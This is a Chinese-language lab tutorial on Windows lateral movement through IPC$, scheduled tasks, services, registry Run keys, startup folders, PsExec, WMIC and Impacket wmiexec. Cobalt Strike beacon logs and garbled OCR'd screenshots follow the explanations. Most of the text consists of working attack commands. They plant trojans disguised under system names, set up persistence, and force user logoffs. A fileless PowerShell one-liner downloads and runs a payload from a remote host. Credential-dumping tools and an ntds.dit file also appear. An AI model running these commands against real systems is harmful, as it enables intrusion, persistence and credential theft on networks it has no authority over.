一、横向移动
横向移动（Lateral Movement） 指的是：攻击者在已经拿下某台主机后，不急着收手，而是以这台机器为跳板，继续访问、控制网络内的其他主机、服务、账户或云资源，扩大自己的控制范围。
二、IPC$
概述
IPC$ 是 Windows 系统中的一个默认隐藏共享，全称是 Inter-Process Communication share，即“进程间通信共享”。
它本身不是用来存文件的共享文件夹，而是通过SMB协议提供命名管道（例如远程管理、服务控制、计划任务、远程操作注册表等），让远程客户端与本机服务、进程进行通信。
建立 SMB 会话：客户端先通过 IPC$ 完成身份验证，再访问其他共享或服务。
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IPC$和 C$、ADMIN$ 不同：C$ 映射系统盘，ADMIN$ 映射系统目录，而 IPC$ 不映射磁盘目录。
连接
查看连接：
net use

用户组的连接：
net use \\目标IP\ipc$ "密码" /user:用户名

域用户的连接：
net use \\域名\ipc$ "域成员密码" /user：域名\域成员账户

删除IPC$连接：
net use \\IP\ipc$ /del

功能
连接成功，则表示通过了SMB会话认证。
如果是高权限账号，则可以进行如下操作：
操作共享磁盘；

操作服务控制管理器；

操作计划任务；

远程查看并修改注册表；

使用WMI进行远程查询和执行。

经过测试后的账号权限
	不同权限/命令
	dir
	type
	net time
	copy

	administrator
	可以
	可以
	可以
	可以

	普通管理员
	不可以
	不可以
	可以
	不可以

	普通用户
	不可以
	不可以
	可以
	不可以

	域管理员
	可以
	可以
	可以
	可以

	普通域用户
	不可以
	不可以
	可以
	不可以

	域administrator
	不可以（只能和域控）
	不可以（只能和域控）
	不可以（只能和域控）
	不可以（只能和域控）


利用条件
IPC$的利用条件：
目标开启 TCP139或 TCP 445端口；

目标主机存在并可连接IPC$；

默认管理共享开启；

拥有有效凭证（用户名与密码）；

账号为高权限账号。

基础操作
操作环境：在域控机器中使用域管账号打开cmd对win08进行远程操作，win08环境如下：
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查看远程计算机盘符目录：
dir \\IP\c$
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查看远程计算机上的进程：
tasklist /S IP地址
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查看远程计算机中的文件内容：
type \\IP\c$\文件路径
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查看远程计算机中的时间：
net time \\IP地址
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复制可执行程序：
copy 文件 \\IP地址\C$
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进阶操作
环境准备
#1.使用Cobaltstrike生成木马

#1.1 kali机器运行Cobaltstrike的服务端

chmod a+x ./*

./teamserver 192.168.88.104 123456



#1.2 物理机使用java21版本，启动Cobaltstrike的客户端

#双击cobaltstrike-CN.bat文件



#1.3 使用Cobaltstrike客户端添加监听器并生成无分段exe木马



#2.为了能够让域内的机器能够访问到攻击机，所以将域内机器的网关指向192.168.88.2



#3.域控上线木马

#4.上线之后，再复制一份木马，重新命名sys.exe,并且放在C:\Windows\sys.exe

#5.使用cobaltstrike，获取内网其他IP地址

shell arp -a

生成监听器：
<img src="https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115060953245.png" alt="image-20261014213346094" style="zoom:67%;" />
生成无分段木马程序：
<img src="https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115060953246.png" alt="image-20261014215305079" style="zoom:67%;" />
木马上线：
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获取内网信息：
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计划任务
Windows计划任务允许在指定时间或条件下自动执行程序。
攻击者利用已有的IPC连接，远程在目标主机上创建计划任务，定时执行已上传的木马或脚本。
#1.域控管理员，对目标IPC建立连接

shell net use \\192.168.88.202\IPC$



#2.将木马传递到目标磁盘目录中

shell copy C:\Windows\sys.exe \\192.168.88.202\C$\windows\calc.exe



#3.创建计划任务

shell schtasks /create /s 192.168.88.202 /tn "WindowUpdate" /tr "C:\Windows\calc.exe" /sc ONCE /st 00:00 /ru "SYSTEM" /f



#4.执行木马

shell schtasks /run /s 192.168.88.202 /tn "WindowUpdate"



#5.删除计划任务

shell schtasks /end /s 192.168.88.202 /tn "WindowUpdate"

shell schtasks /delete /s 192.168.88.202 /tn "WindowUpdate" /f

schtasks参数描述
/s 192.168.1.100：远程计算机；

/tn "RunCalc"：计划任务名称；

/tr "C:\Windows\calc.exe"：远程计算机上要执行的程序；

/sc ONCE /st 00:00：创建一次性触发器；

/ru "SYSTEM"：任务以 SYSTEM 身份运行；

/f：同名任务存在时强制覆盖。

上线成功：
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Windows服务
Windows服务控制管理器（SCM）允许远程创建、启动和停止服务。攻击者可以通过SCM远程创建一个服务，使其指向已上传的木马程序，服务启动时即执行木马。
#1. 建立连接

shell net use \\192.168.88.202\IPC$



#2.将木马传递到目标磁盘目录中

shell copy C:\Windows\sys.exe \\192.168.88.202\C$\windows\calc.exe



#3. 创建服务,type= own 独立进程;start= demand手动启动

shell sc \\192.168.88.202 create W1ndowsServer binpath= "C:\Windows\calc.exe" type= own start= demand obj= LocalSystem





#4.查询服务

shell sc \\192.168.88.202 query W1ndowsServer



#5.启动服务

shell sc \\192.168.88.202 start W1ndowsServer



#6.停止并删除服务

shell sc \\192.168.88.202 stop W1ndowsServer

shell sc \\192.168.88.202 delete W1ndowsServer

[image: ]
注册表
远程注册表服务（Remote Registry）允许通过网络修改目标主机的注册表。
攻击者可以通过IPC$连接，利用 reg 命令远程修改注册表，实现开机自启动或禁用安全功能等目的。
目标主机的 Remote Registry 服务必须处于运行状态。如果未运行，攻击者先通过IPC$连接远程启用该服务。
注册表常用启动项：
	路径
	作用范围

	HKLM\Software\Microsoft\Windows\CurrentVersion\Run
	所有用户登录时执行

	HKCU\Software\Microsoft\Windows\CurrentVersion\Run
	当前用户登录时执行

	HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
	仅执行一次


#1. 建立连接

shell net use \\192.168.88.202\IPC$



#2.将木马传递到目标磁盘目录中

shell copy C:\Windows\sys.exe \\192.168.88.202\C$\windows\calc.exe



#3.查看Remote Registry 服务状态

shell sc \\192.168.88.202 query RemoteRegistry



#4.如果没启动，设为手动并启动,如果服务被禁用，先把 start= disabled 改成 demand

sc \\192.168.88.202 config RemoteRegistry start= demand

sc \\192.168.88.202 start RemoteRegistry



#5.远程修改注册表，并添加启动项

shell reg add "\\192.168.88.202\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /t REG_SZ /d "C:\Windows\calc.exe" /f



#6.查询注册表

shell reg query "\\192.168.88.202\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender"



#7.远程注销当前账户或者其他方式，使得用户进行登录操作

#7.1 查看远程会话

shell quser /server:192.168.88.202 

#或者

shell query user /server:192.168.88.202



#7.2 远程注销,根据会话ID或者用户名

shell logoff 3 /server:192.168.88.202

shell logoff win08 /server:192.168.88.202



#8.清除

reg delete "\\192.168.88.202\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
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启动项文件夹
Windows的启动文件夹（Startup Folder）中的程序会在用户登录时自动执行。攻击者可以通过IPC$连接访问目标主机的启动文件夹路径，直接投放木马文件。
启动文件夹路径：
	范围
	路径

	当前用户
	C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

	所有用户
	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp


#1. 建立连接

shell net use \\192.168.88.202\IPC$



#2.将木马传递到目标磁盘目录中

shell copy C:\Windows\sys.exe \\192.168.88.202\C$\windows\calc.exe



#3.复制木马到启动文件夹

shell move "\\192.168.88.202\C$\Windows\calc.exe" "\\192.168.88.202\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\hu0rong.exe"



#4.远程注销

shell quser /server:192.168.88.202 

shell logoff 4 /server:192.168.88.202

关于启动项：
	启动项类型
	触发时机
	是否必须重启

	启动文件夹 StartUp
	用户登录时
	不需要，注销再登录即可

	注册表 HKLM\...\Run
	任意用户登录时
	不需要，注销再登录即可

	注册表 HKCU\...\Run
	当前用户登录时
	不需要，注销再登录即可

	RunOnce
	下次登录时运行一次
	不需要，注销再登录即可

	Windows 服务，自动启动
	系统开机时
	自动生效通常要重启；也可手动 sc start 立即启动

	计划任务 ONSTART
	系统启动时
	需要重启才会自动触发；也可手动 /run 立即执行

	计划任务 ONLOGON
	用户登录时
	不需要重启，注销再登录即可
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挂载磁盘
通过IPC连接建立SMB会话后，攻击者可以将目标的默认共享（如‘C连接建立SMB会话后，攻击者可以将目标的默认共享（如C$、ADMIN$）映射为本地驱动器，从而像操作本地磁盘一样浏览、上传、下载文件。
#1. 建立连接

shell net use \\192.168.88.202\IPC$



#2.将木马传递到目标磁盘目录中

shell copy C:\Windows\sys.exe \\192.168.88.202\C$\windows\calc.exe



#2.磁盘映射

shell net use Z: \\192.168.88.202\C$



#3.直接通过Z盘访问目标文件系统

#4.命令形式

shell dir Z:\



#5.卸载

shell net use Z: /delete
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三、PsExec
概述
PsExec 是 Sysinternals 套件中的工具，其核心原理是在远程主机上临时创建一个 Windows 服务来执行命令。
微软官网地址：[PsExec - Sysinternals | Microsoft Learn](https://learn.microsoft.com/zh-cn/sysinternals/downloads/psexec)
执行流程：
PsExec 从自身提取 PSEXESVC.exe，通过 SMB（端口 445）复制到目标的 ADMIN$ 共享（即 C:\Windows）。

通过服务控制管理器（SCM）远程注册并启动一个名为 PSEXESVC 的服务。

创建命名管道，用于传输命令和接收输出。

木马落地
#域控执行命令，木马上传到win08中

#直接上线

psexec \\192.168.88.200 -u "域名\管理员账号" -p "密码" -d -s 目标机器目标绝对路径



shell PsExec64.exe -accepteula \\192.168.88.202 -u "abc.com\administrator" -p "a1b23.." -d -s  C:\Users\win08\Desktop\notepad1.exe



#-accepteula 首次运行静默接受最终用户许可协议

#-d 后台执行，不等待进程结

#-s 以本地 System 最高权限运行（优先使用）
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无文件落地
#以powershell的脚本进行上线



shell PsExec64.exe -accepteula \\192.168.88.202 -u "域名\管理员账号" -p "密码" -d -s powershell.exe -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString('http://你的CS服务器IP/payload.ps1'))"



shell PsExec64.exe -accepteula \\192.168.88.202 -u "abc\administrator" -p "a1b2c3.." -d -s powershell.exe -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString('http://192.168.88.1:8000/sysscript.ps1'))"



#-w hidden --> indowStyle Hidden，隐藏窗口

#-c --> Command，执行引号内的power shell命令

#IEX--->Invoke-Expression，将接收到的字符串当作 PowerShell 代码直接在当前内存中执行

#(New-Object Net.WebClient).DownloadString(...) 使用.NET框架的WebClient类，从远程 Web 服务器下载内容

生成ps1木马：
[image: ]
创建http服务：
[image: ]
成功上线：
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四、WMIC
概述
WMIC（Windows Management Instrumentation Command-line，WMI 命令行工具），WMI（Windows Management Instrumentation）：Windows 内置的系统管理框架，操作系统把硬件、进程、网卡、磁盘、服务、注册表等信息封装成一堆 “对象 / 类”，程序可以查询、读取、修改。
WMIC 利用 Windows 管理规范（WMI）的远程进程创建功能，不需要在目标上创建服务或写入文件，因此隐蔽性远高于 PsExec。
WMIC 通过 DCOM（端口 135）或 WinRM（5985/5986）与目标的 WMI 服务通信。在目标上，实际是由 WmiPrvSE.exe 进程来创建你指定的子进程。
WinRM 是微软新一代远程管理协议（WS-Management），基于 HTTP/SOAP（简单对象访问协议），用来替代老旧 DCOM/WMI 远程。

TCP 5985：HTTP（默认，内网常用）

TCP 5986：HTTPS（加密证书，更安全）

COM 是 Windows 本地组件调用技术；DCOM = 跨网络的 COM， WMI（wmic 底层就是 WMI）远程模式默认走 DCOM。

常见操作
wmic 远程查询是访问目标机器的 WMI 服务，只要 WMI 服务正常运行即可。
#网卡IP、MAC地址（远程）

wmic /node:"192.168.88.200" /user:"administrator" /password:"远程密码" nicconfig get ipaddress,macaddress



#查看磁盘信息

wmic /node:"192.168.88.200" /user:"administrator" /password:"远程密码" logicaldisk get caption,size,freespace



#查看CPU信息

wmic /node:"192.168.88.200" /user:"administrator" /password:"远程密码" cpu get name,numberofcores



#查看正在运行的进程

wmic /node:"192.168.88.200" /user:"administrator" /password:"远程密码" process get name,processid



#杀掉正在运行的进程

wmic /node:"192.168.88.202" /user:"abc\administrator" /password:"a1b2c3.." process where processid=ID号 delete



#查看共享列表

wmic /node:"192.168.88.200" /user:"administrator" /password:"远程密码" share get name,path,status



上线木马
wmic 可以远程调用目标主机 WMI 中的 Win32_Process 类的 Create 方法，在目标系统上创建新进程、执行任意命令。
#1. 建立连接

shell net use \\192.168.88.202\IPC$



#2.将木马传递到目标磁盘目录中

shell copy C:\Windows\sys.exe \\192.168.88.202\C$\windows\calc.exe



#3.使用wmic执行上线木马

shell wmic /node:"192.168.88.202" /user:"abc\administrator" /password:"a1b2c3.." process call create "C:\Users\win08\Desktop\systemct1.exe"



#call create = 调用 WMI 的创建进程函数，在远程主机上启动一个程序
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工具
wmiexec 通常指 impacket 工具包的 wmiexec.py。
Impacket 是一套基于 Python 的跨平台替代方案，它让你可以从 Linux/macOS 直接与 Windows 协议（SMB, MSRPC, Kerberos, LDAP 等）交互，无需在目标上安装任何代理或恶意软件。
wmiexec底层走 WMI/DCOM 协议（135 端口 + RPC 动态端口） 执行命令，通过 SMB（445 端口）读取命令输出：
远程调用 Win32_Process.Create 启动 cmd 执行命令，把结果重定向到目标临时目录的 txt 文件

通过 SMB 连接读取临时文件内容，返回执行结果

执行完成后自动删除临时文件

利用前提：
目标 TCP 135 端口 + 445 端口 都开放（135 跑 WMI 执行，445 用来取回显）

持有目标管理员权限账号，支持哈希传递（Pass the Hash，无需明文密码）

目标 WMI 服务（winmgmt）正常运行，Admin$ 共享可访问

shell sc \\192.168.88.202 query winmgmt
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文件落地：
#文件拷贝

shell copy ca1c.exe \\192.168.88.202\c$\Windows\Temp\sysupdates.exe



#执行文件

shell wmiexec.exe abc.com/administrator:a1b2c3..@192.168.88.202 "C:\Windows\Temp\sysupdates.exe"
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C:\Users\win08>calc
C:\Users\win08>cd Desktop

C:\Users\winO8\Desktop>ipconfig > ip.txt

C:\Users\win0O8\Desktop>
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:\Users\Administrator>type \\192.168. 88. 202\C$\Users\win08\Desktop\ip. txt

Windows IP Configuration
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Connection—specific DNS Suffix . :

IPv4 Address. . . . . . . . . .. : 192. 168. 88. 202
Subnet Mask . . . . . . . . . .. : 255.255.255.0
Default Gateway . . . . . . . . .

unnel adapter isatap. {BCBB8OAO-98AD-4237-94F9-43F448755BD7} :

Media State . . . . . . . . . .. : Media disconnected
Connection—specific DNS Suffix
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>eacon> shell arp -a

[*] Tasked beacon to run: arp -a

[+] host called home,
[+] received output:

sent: 37 bytes

:11: 192.168.88.200 —--- 0x2
Internet Hihk

192.
192.
192.
192.
192.
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P p =

£l 192.168.88.200 192.168.88.200 yu
= 192.168.88.202 192.168.88.202 yu SYSTEM * WINO8 Bid: 20803765... calc.exe 1848 x64 5s 1 minute

beacon> at \\192.168.88.202 22:05 C:\windows\calc.exe
[-] Unknown command: at \\192.168.88.202 22:05 C:\windows\calc.exe
beacon> shell at \\192.168.88.202 22:05 C:\windows\calc.exe

Tasked beacon to run: at \\192.168.88.202 22:05 C:\windows\calc.exe
[+] host called home, sent: 76 bytes
[+] received output:

AT R CFH. WS schtasks.exe.

[+] received output:

PR

beacon> shell schtasks /create /s 192.168.88.202 /tn "WindowUpdate" /tr "C:\Windows\calc.exe" /sc ONCE /st 00:00 /ru "SYSTEM" /f
Tasked beacon to run: schtasks /create /s 192.168.88.202 /tn "WindowUpdate" /tr "C:\Windows\calc.exe" /sc ONCE /st 00:00 /ru "SYSTEM" /f
[+] host called home, sent: 145 bytes
[+] received output:
i BN /st BT MHTRIR W, 4% W RGBT .
s RN RIfES "WwindowUpdate".

beacon> shell schtasks /run /s 192.168.88.202 /tn "WindowUpdate"
Tasked beacon to run: schtasks /run /s 192.168.88.202 /tn "WindowUpdate"
[+] host called home, sent: 81 bytes
[+] received output:
B : #iRiEfT "WindowUpdate".
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= 192.168.88.200 192.168.88.200 yu Administrator * DC Bid: 68100156... calc.exe 6776 x64 814ms
£l 192.168.88.202 192.168.88.202 yu WINO8 Bid: 10571498... calc.exe

192.168.88.200@6776 X

beacon> shell sc \\192.168.88.202 create WlndowsServer binpath= "C:\Windows\calc.exe" type= own start= demand obj= LocalSystem
Tasked beacon to run: sc \\192.168.88.202 create WlndowsServer binpath= "C:\Windows\calc.exe" type= own start= demand obj= LocalSystem
[+] host called home, sent: 143 bytes
[+] received output:
[SC] CreateService R

beacon> shell sc \\192.168.88.202 query WlndowsServer

Tasked beacon to run: sc \\192.168.88.202 query WlndowsServer
[+] host called home, sent: 70 bytes
[+] received output:

SERVICE NAME: WlndowsServer

TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT CODE : 1077 (0x435)
SERVICE_EXIT CODE : O (0x0)

CHECKPOINT : 0x0

WAIT HINT : 0x0

beacon> shell sc \\192.168.88.202 start WlndowsServer
Tasked beacon to run: sc \\192.168.88.202 start WlndowsServer
[+] host called home, sent: 70 bytes
[+] received output:
[SC] StartService AW 1053:

e 25 BcAT B Wl e 7 ) ) s ] 75 K

[DC] - x64 | Administrator * | 6776 - x64 | Note: Bid: 681001568 NT:
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=" 192.168.88.200 192.168.88.200 yu Administrator * DC Bid: 68100156... calc.exe 6776 x64 705ms 1 second
192.168.88.202 192.168.88.202 yu Bid: 19405112... calc.exe 1 minute

192.168.88.200@6776 X

WAIT HINT : 0x0

beacon> shell reg add "\\192.168.88.202\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /t REG_SZ /d "C:\Windows\calc.exe" /f

Tasked beacon to run: reg add "\\192.168.88.202\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /t REG_SZ /d "C:\Windows\calc.exe" /f
[+] host called home, sent: 167 bytes
[+] received output:

B BRI 58 B

beacon> shell reg query "\\192.168.88.202\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender"

Tasked beacon to run: reg query "\\192.168.88.202\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender"
[+] host called home, sent: 131 bytes
[+] received output:

HKEY_ LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
WindowsDefender REG_SZ C:\Windows\calc.exe

beacon> shell logoff
Tasked beacon to run: logoff
[+] host called home, sent: 37 bytes
beacon> shell quser /server:192.168.88.202
Tasked beacon to run: quser /server:192.168.88.202
[+] host called home, sent: 59 bytes
[+] received output:
CiaE S ES D RE WM G
winos console 3 EBfr x 2026/10/11 19:05

beacon> shell logoff 3 /server:192.168.88.202
Tasked beacon to run: logoff 3 /server:192.168.88.202
[+] host called home, sent: 62 bytes

[DC] - x64 | Administrator * | 6776 - x64 | Note: Bid: 681001568 NT: 6.2
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'=' 192.168.88.200 192.168.88.200 yu Administrator * DC Bid: 68100156... calc.exe 6776 x64 170ms 1 second
= 192.168.88.202 192.168.88.202 yu Bid: 33381582... huOrong.exe 1788 1 minute

STE x| W58 x| Beacon 192.168.65200@6776 X|

2026/10/12 19:15 <DIR> Temp
2009/07/14 10:34 <DIR> tracing
2026/10/09 21:19 1,355 TsSSysprep.log
2009/07/14 11:20 <DIR> Vss
2009/07/14 13:37 <DIR> Web
2009/06/11 05:08 92 win.ini
2026/10/14 21:26 46,157 WindowsUpdate.log
2009/07/14 09:14 9,728 winhlp32.exe
2026/10/09 21:39 <DIR> winsxs
2009/07/14 09:39 10,240 write.exe
2010/11/22 02:31 <DIR> zh-CN

22 M 4,816,586 i

a8 NMHF 3,727,671,296 WHTH

beacon> shell move "\\192.168.88.202\C$\Windows\calc.exe" "\\192.168.88.202\C$\ProgrambData\Microsoft\Windows\Start Menu\Programs\StartUp\huOrong.exe"

Tasked beacon to run: move "\\192.168.88.202\C$\Windows\calc.exe" "\\192.168.88.202\C$\ProgrambData\Microsoft\Windows\Start Menu\Programs\StartUp\huOrong.exe"
[+] host called home, sent: 167 bytes
[+] received output:

BT 1 At

beacon> shell query user /server:192.168.88.202
Tasked beacon to run: query user /server:192.168.88.202
[+] host called home, sent: 64 bytes
[+] received output:
CiaE S ES D RE WM G
winos console 4 B x 2026/10/14 22:47

beacon> shell logoff 4 /server:192.168.88.202
Tasked beacon to run: logoff 4 /server:192.168.88.202
[+] host called home, sent: 62 bytes
Administrator * 6776 x64 Bid: 681001568 NT ast:170m
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beacon> shell dir z:\

[*] Tasked beacon to run: dir z:\
[+] host called home,
[+] received output:

sent: 38 bytes

e z PIBBRAIRS.
BN R: Fe8a3-72c5

z:\ MHZ

2026/10/14
2009/07/14
2026/10/09
2009/07/14
2026/10/13
2026/10/14

23:
11:
21:
13:
20:
22:

03

20 <DIR>
41 <DIR>
06  <DIR>
17 <DIR>
59  <DIR>
1 A

0 132.txt
Perflogs
Program Files
Program Files
Users
Windows

o FI

5 AHF 3,727,314,944 WA

(x86)
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Sk Flip Mip =« i THEALE R &E B i G

& 192.168.88.200 192.168.88.200 yu Administrator * DC Bid: 68100156... calc.exe 1 second
‘=’ 192.168.88.202 192.168.88.202 yu SYSTEM * WINO8 Ver: 6.1 notepad1.exe 384 x64 6s 10 seconds (30% jif

#H{EHE X | Beacon 192.168.88.202@2396 X | Beac 8.200@6776 X

2026/10/15 13:22 <DIR>

2026/10/15 13:22 <DIR> ..

2026/10/13 20:14 <DIR> 123

2026/10/14 21:51 328,704 notepadl.exe

2026/10/10 12:55 20,971,520 ntds.dit

2026/10/12 20:15 <DIR> NTDSDumpEX

2026/10/11 17:18 90,069 NTDSDumpEXx.zip

2026/10/15 08:38 833,472 PsExec64.exe

2026/10/11 17:18 403,456 QuarksPwDump.exe

2026/10/12 20:25 <DIR> secretsdump

2026/10/11 17:18 5,866,958 secretsdump.zip
6 MNIAF 28,494,179 FHi

5 AH% 7,756,169,216 AT

beacon> shell PsExecé64.exe -accepteula \\192.168.88.202 -u "abc.com\administrator" -p "alb23.." -d -s C:\Users\winO8\Desktop\notepadl.exe

Tasked beacon to run: PsExec64.exe -accepteula \\192.168.88.202 -u "abc.com\administrator" -p "alb23.." -d -s C:\Users\winO8\Desktop\notepadl.exe
[+] host called home, sent: 155 bytes
[+] received output:

PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com

Connecting to 192.168.88.202...Starting PSEXESVC service on 192.168.88.202...

[+] received output:

Copying authentication key to 192.168.88.202...Connecting with PsExec service on 192.168.88.202...Starting C:\Users\winO8\Desktop\notepadl.exe on 192.168.88.202...
C:\Users\winO8\Desktop\notepadl.exe started on 192.168.88.202 with process ID 384.

Administrator * 677 681001568 NT
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N HF

(e e=L] ES

4 sysscript.ps1 2026.10.15 13:30 Windows Power...

F=] C:\Windows\System32\cmd.ex X + v

Microsoft Windows [hRZ 10.0.26200.9550]
(c) Microsoft Corporation, {REETHEWNAI.

C:\Users\Administrator\Desktop\123>python -m http.server
Serving HTTP on :: port 8000 (http://[::]1:8000/) ...




image20.png
‘=" 192.168.88.200 192.168.88.200 yu Administrator * DC Bid: 68100156... calc.exe 6776 x64 376ms 1 second
B 192.168.88.202 192.168.88.202 yu SYSTEM * powershell.exe 2228 1 minute

X | Beacon 192.168.88.200@6776 X

= c:\Windows\System32\cmd.ex X S - (m} X
2026/10/15 13:22 <D

2026/10/15 13:22 <p; C:\Users\Administrator\Desktop\123>python -m http.server
2026/10/13 20:14 <p: Serving HTTP on :: port 8000 (Chttp://[::1:8000/) ...
2026/10/14 21:51 ::fff£:192.168.88.202 [15/0ct/2026 13:37:25] "GET / HTTP/1.1" 200 -

1 fff£:192.168.88.202 [15/0ct/2026 13:37:25] code 40U, message File not found
2026/10/10 12:55 : ffFf:192.168.88.202 [15/0ct/2026 13:37:25] "GET /favicon.ico HTTP/1.1" ueu —
2026/10/12 20:15 <D! ::ffff:192.168.88.202 [15/0ct/2026 13:38:22] "GET /sysscript.psl HTTP/1.1" 200 —
2026/10/11 17:18
2026/10/15 08:38

2026/10/11 17:18

2026/10/12 20:25 <D
2026/10/11 17:18
6 AN
5 MHF 1 r00,ves, 2
beacon> shell PsExec64.exe -accepteula \\192.168.88.202 -u "abc\administrator" -p "alb2c3.." -d -s powershell.exe -nop -w hidden -c "IEX ((New-Object Net.WebClient).
DownloadsString ('http://192.168.88.1:8000/sysscript.ps1l'))"
Tasked beacon to run: PsExec64.exe -accepteula \\192.168.88.202 -u "abc\administrator" -p "alb2c3.." -d -s powershell.exe -nop -w hidden -c "IEX ((New-Object Net.WebClie:

DownloadsString ('http://192.168.88.1:8000/sysscript.ps1l'))"
[+] host called home, sent: 240 bytes
[+] received output:

PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com

Connecting to 192.168.88.202...Starting PSEXESVC service on 192.168.88.202...

[+] received output:

Copying authentication key to 192.168.88.202...Connecting with PsExec service on 192.168.88.202...Starting powershell.exe on 192.168.88.202...
powershell.exe started on 192.168.88.202 with process ID 2228.

[DC] - x64 | Administrator * | Note: Bid: 681001568
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Sk Flip Mip =« 1Y i THEALE R ‘ y i G

1 192.168.88.200 192.168.88.200 yu Administrator * DC Bid: 68100156... calc.exe 1 second
=" 192.168.88.202 192.168.88.202 yu Administrator *  WINO08 Ver: 6.1 systemctl.exe 520 x64 6s 1 minute

$T4=Eld: X | Beacon 192.16 2@2396 X | Beacon 192.168.88.200@6776 X

5 AH% 7,756,083,200 AT

beacon> shell PsExecé64.exe -accepteula \\192.168.88.202 -u "abc\administrator" -p "alb2c3.." -d -s powershell.exe -nop -w hidden -c "IEX ((New-Object Net.WebClient) .
DownloadsString ('http://192.168.88.1:8000/sysscript.ps1l'))"
Tasked beacon to run: PsExec64.exe -accepteula \\192.168.88.202 -u "abc\administrator" -p "alb2c3.." -d -s powershell.exe -nop -w hidden -c "IEX ((New-Object Net.WebClient) .

DownloadsString ('http://192.168.88.1:8000/sysscript.ps1l'))"
[+] host called home, sent: 240 bytes
[+] received output:

PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com

Connecting to 192.168.88.202...Starting PSEXESVC service on 192.168.88.202...

[+] received output:

Copying authentication key to 192.168.88.202...Connecting with PsExec service on 192.168.88.202...Starting powershell.exe on 192.168.88.202...
powershell.exe started on 192.168.88.202 with process ID 2228.

beacon> shell wmic /node:"192.168.88.202" /user:"abc\administrator" /password:"alb2c3.." process call create "C:\Users\winO8\Desktop\systemctl.exe"
Tasked beacon to run: wmic /node:"192.168.88.202" /user:"abc\administrator" /password:"alb2c3.." process call create "C:\Users\winO8\Desktop\systemctl.exe"
[+] host called home, sent: 164 bytes
[+] received output:
PAT (Win32_Process)->Create ()
TIEAT BT -
S8
instance of __ PARAMETERS
{
ProcessId = 520;
ReturnvValue = 0;

x64 681001568 NT: 6
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beacon> shell sc \\192.168.88.202 query winmgmt

[*] Tasked beacon to run: sc \\192.168.88.202 query winmgmt
[+] host called home, sent: 64 bytes

[+] received output:

SERVICE NAME: winmgmt

TYPE : 20 WIN32_SHARE PROCESS
STATE : 4 RUNNING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT CODE : 0 (0x0)
SERVICE_EXIT CODE : 0 (0x0)
CHECKPOINT : 0x0

WAIT_HINT : 0x0
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"= 192.168.88.200 192.168.88.200 2015
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aske!

C.&Z il

asked

[DC] - x64

17:
20:
17:
21:
12:
20:
17:
08:
17:
20:
17:

eacon

peacon

52 <DIR> ..

14 <DIR> 123

05 328,704 calc.exe

51 328,704 notepadl.exe

55 20,971,520 ntds.dit

15 <DIR> NTDSDumpEX

18 90,069 NTDSDumpEXx.zip
38 833,472 PsExec64.exe

18 403,456 QuarksPwDump.exe
25 <DIR> secretsdump

18 5,866,958 secretsdump.zip
7 ANIAF 28,822,883 Fi

5 AH% 7,753,965,568 M}

192.168.88.202 2015

4iih+ x| Beacon 192.165.88.200@6200 X

O run: CoOpy calc.eXe

[+] host called home, sent: 92 bytes
[+] received output:

1 ANfF.

O run: wmlexec.exe abc.com/ad
[+] host called home, sent: 121 bytes
[+] received output:

[*] SMBv2.1 dialect used

Administrator * | 6200 - x64

T H

Administrator * DC Ver: 6.2 calc.exe

Administrator *  WINO8

Note:

inistrator:albZc

Bid: 15479097... sysupdate

beacon> shell copy calc.exe \\192.168.88.202\c$\Windows\Temp\sysupdates.exe

c emp\sysupdates.exe

beacon> shell wmiexec.exe abc.com/administrator:alb2c3..@192.168.88.202 "C:\Windows\Temp\sysupdat

Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

Ver:

6200
s.exe 3048

es.exe"

x64

301ms

1 second
1 minute
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C:\Users\winO8>net share

Share name Resource Remark

c$ c:\ BRIAFL=
1PC$ ke IPC
IADMINS c:\windows IR EE

The command completed successfully.

C:\Users\win08>_








